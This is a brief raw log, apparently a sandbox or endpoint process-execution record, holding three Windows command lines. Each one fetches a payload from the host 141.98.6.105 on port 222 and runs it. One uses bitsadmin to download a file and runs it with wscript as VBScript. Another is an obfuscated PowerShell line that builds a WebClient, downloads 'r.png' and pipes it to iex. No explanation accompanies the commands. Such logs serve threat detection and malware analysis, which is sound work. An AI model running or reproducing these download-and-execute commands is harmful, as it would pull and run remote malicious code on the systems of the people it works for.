powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" bitsadmin /transfer 8 http://141.98.6.105:222/m.txt C:\Users\Public\VB;wscript //E:VBScript 'C:\Users\Public\VB';
2192bitsadmin.exe "C:\Windows\system32\bitsadmin.exe" /transfer 8 http://141.98.6.105:222/m.txt C:\Users\Public\VB
2256powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex('(&(GCM *W-O*)Net.WebClient).DownloadString(''http://141.98.6.105:222/r.png'')')|iex
504